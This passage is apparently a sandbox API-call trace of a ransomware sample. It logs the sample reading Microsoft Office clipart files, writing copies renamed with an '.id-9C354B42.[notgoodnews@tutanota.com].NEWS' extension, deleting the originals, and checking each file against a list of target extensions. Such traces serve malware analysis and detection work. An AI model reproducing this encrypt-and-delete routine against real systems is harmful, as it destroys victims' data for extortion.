nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.135] WriteFile (in: hFile=0x370, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.136] SetEndOfFile (hFile=0x370) returned 1 [0236.148] CloseHandle (hObject=0x370) returned 1 [0236.148] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.149] SetEndOfFile (hFile=0x388) returned 1 [0236.156] CloseHandle (hObject=0x388) returned 1 [0236.156] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.199] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0236.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.200] lstrlenW (lpString=".doc") returned 4 [0236.200] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.200] lstrlenW (lpString=".docx") returned 5 [0236.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.200] lstrlenW (lpString=".pdf") returned 4 [0236.200] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.200] lstrlenW (lpString=".xls") returned 4 [0236.200] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.200] lstrlenW (lpString=".xlsx") returned 5 [0236.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.200] lstrlenW (lpString=".ppt") returned 4 [0236.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.201] lstrlenW (lpString=".zip") returned 4 [0236.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.201] lstrlenW (lpString=".rar") returned 4 [0236.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.201] lstrlenW (lpString=".bz2") returned 4 [0236.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.201] lstrlenW (lpString=".7z") returned 3 [0236.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.201] lstrlenW (lpString=".dbf") returned 4 [0236.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.202] lstrlenW (lpString=".1cd") returned 4 [0236.202] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.202] lstrlenW (lpString=".jpg") returned 4 [0236.202] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.202] lstrlenW (lpString=".doc") returned 4 [0236.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.202] lstrlenW (lpString=".docx") returned 5 [0236.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.203] lstrlenW (lpString=".pdf") returned 4 [0236.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.203] lstrlenW (lpString=".xls") returned 4 [0236.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.203] lstrlenW (lpString=".xlsx") returned 5 [0236.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.203] lstrlenW (lpString=".ppt") returned 4 [0236.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.203] lstrlenW (lpString=".zip") returned 4 [0236.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.203] lstrlenW (lpString=".rar") returned 4 [0236.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.203] lstrlenW (lpString=".bz2") returned 4 [0236.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.204] lstrlenW (lpString=".7z") returned 3 [0236.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.204] lstrlenW (lpString=".dbf") returned 4 [0236.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.204] lstrlenW (lpString=".1cd") returned 4 [0236.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 63 [0236.204] lstrlenW (lpString=".jpg") returned 4 [0236.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.205] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0236.205] lstrlenW (lpString="AN01174_.WMF") returned 12 [0236.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0236.221] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=27858) returned 1 [0236.221] CloseHandle (hObject=0x398) returned 1 [0236.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0236.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0236.271] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.272] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0236.273] GetLastError () returned 0x0 [0236.273] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0236.288] WriteFile (in: hFile=0x3a0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0236.293] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.293] WriteFile (in: hFile=0x3a0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.294] SetEndOfFile (hFile=0x3a0) returned 1 [0236.356] CloseHandle (hObject=0x3a0) returned 1 [0236.357] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.357] SetEndOfFile (hFile=0x3d4) returned 1 [0236.369] CloseHandle (hObject=0x3d4) returned 1 [0236.370] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0236.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.372] lstrlenW (lpString=".doc") returned 4 [0236.372] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.372] lstrlenW (lpString=".docx") returned 5 [0236.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.373] lstrlenW (lpString=".pdf") returned 4 [0236.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.373] lstrlenW (lpString=".xls") returned 4 [0236.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.373] lstrlenW (lpString=".xlsx") returned 5 [0236.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.373] lstrlenW (lpString=".ppt") returned 4 [0236.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.373] lstrlenW (lpString=".zip") returned 4 [0236.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.374] lstrlenW (lpString=".rar") returned 4 [0236.374] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.374] lstrlenW (lpString=".bz2") returned 4 [0236.374] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.374] lstrlenW (lpString=".7z") returned 3 [0236.374] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.375] lstrlenW (lpString=".dbf") returned 4 [0236.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.375] lstrlenW (lpString=".1cd") returned 4 [0236.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.375] lstrlenW (lpString=".jpg") returned 4 [0236.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.376] lstrlenW (lpString=".doc") returned 4 [0236.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0236.376] lstrlenW (lpString=".docx") returned 5 [0236.376] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0236.376] lstrlenW (lpString=".pdf") returned 4 [0236.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0236.377] lstrlenW (lpString=".xls") returned 4 [0236.377] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0236.377] lstrlenW (lpString=".xlsx") returned 5 [0236.377] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0236.377] lstrlenW (lpString=".ppt") returned 4 [0236.377] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0236.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.377] lstrlenW (lpString=".zip") returned 4 [0236.377] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0236.377] lstrlenW (lpString=".rar") returned 4 [0236.378] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0236.378] lstrlenW (lpString=".bz2") returned 4 [0236.378] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0236.378] lstrlenW (lpString=".7z") returned 3 [0236.378] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.378] lstrlenW (lpString=".dbf") returned 4 [0236.378] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0236.378] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.378] lstrlenW (lpString=".1cd") returned 4 [0236.379] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0236.379] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0236.379] lstrlenW (lpString=".jpg") returned 4 [0236.379] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0236.381] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0236.381] lstrlenW (lpString="AN01216_.WMF") returned 12 [0236.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0236.382] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5836) returned 1 [0236.383] CloseHandle (hObject=0x3d4) returned 1 [0236.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0236.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0236.384] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.384] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0236.385] GetLastError () returned 0x0 [0236.385] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0236.413] WriteFile (in: hFile=0x3a0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0236.416] ReadFile (in: hFile=0x3d4, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0236.416] WriteFile (in: hFile=0x3a0, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.416] SetEndOfFile (hFile=0x3a0) returned 1 [0236.417] CloseHandle (hObject=0x3a0) returned 1 [0236.417] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0236.417] SetEndOfFile (hFile=0x3d4) returned 1 [0236.611] CloseHandle (hObject=0x3d4) returned 1 [0238.841] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0239.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0239.880] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.881] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.881] lstrlenW (lpString=".doc") returned 4 [0239.881] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.881] lstrlenW (lpString=".docx") returned 5 [0239.881] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.881] lstrlenW (lpString=".pdf") returned 4 [0239.881] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.881] lstrlenW (lpString=".xls") returned 4 [0239.881] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.881] lstrlenW (lpString=".xlsx") returned 5 [0239.881] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.881] lstrlenW (lpString=".ppt") returned 4 [0239.881] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.882] lstrlenW (lpString=".zip") returned 4 [0239.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.882] lstrlenW (lpString=".rar") returned 4 [0239.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.882] lstrlenW (lpString=".bz2") returned 4 [0239.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.882] lstrlenW (lpString=".7z") returned 3 [0239.882] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.882] lstrlenW (lpString=".dbf") returned 4 [0239.882] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.882] lstrlenW (lpString=".1cd") returned 4 [0239.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.883] lstrlenW (lpString=".jpg") returned 4 [0239.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.883] lstrlenW (lpString=".doc") returned 4 [0239.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0239.883] lstrlenW (lpString=".docx") returned 5 [0239.883] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0239.883] lstrlenW (lpString=".pdf") returned 4 [0239.884] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0239.884] lstrlenW (lpString=".xls") returned 4 [0239.884] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0239.884] lstrlenW (lpString=".xlsx") returned 5 [0239.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0239.884] lstrlenW (lpString=".ppt") returned 4 [0239.884] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0239.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.884] lstrlenW (lpString=".zip") returned 4 [0239.884] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0239.884] lstrlenW (lpString=".rar") returned 4 [0239.884] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0239.884] lstrlenW (lpString=".bz2") returned 4 [0239.885] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0239.885] lstrlenW (lpString=".7z") returned 3 [0239.885] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.885] lstrlenW (lpString=".dbf") returned 4 [0239.885] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.885] lstrlenW (lpString=".1cd") returned 4 [0239.885] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0239.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0239.885] lstrlenW (lpString=".jpg") returned 4 [0239.885] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0239.886] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0239.886] lstrlenW (lpString="AN02122_.WMF") returned 12 [0239.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0239.995] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7540) returned 1 [0239.995] CloseHandle (hObject=0x1f0) returned 1 [0239.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 0x20 [0240.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0240.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0240.172] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.172] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0240.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0240.173] GetLastError () returned 0x0 [0240.173] ReadFile (in: hFile=0x3cc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0240.228] WriteFile (in: hFile=0x370, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0240.231] ReadFile (in: hFile=0x3cc, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0240.231] WriteFile (in: hFile=0x370, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.232] SetEndOfFile (hFile=0x370) returned 1 [0240.232] CloseHandle 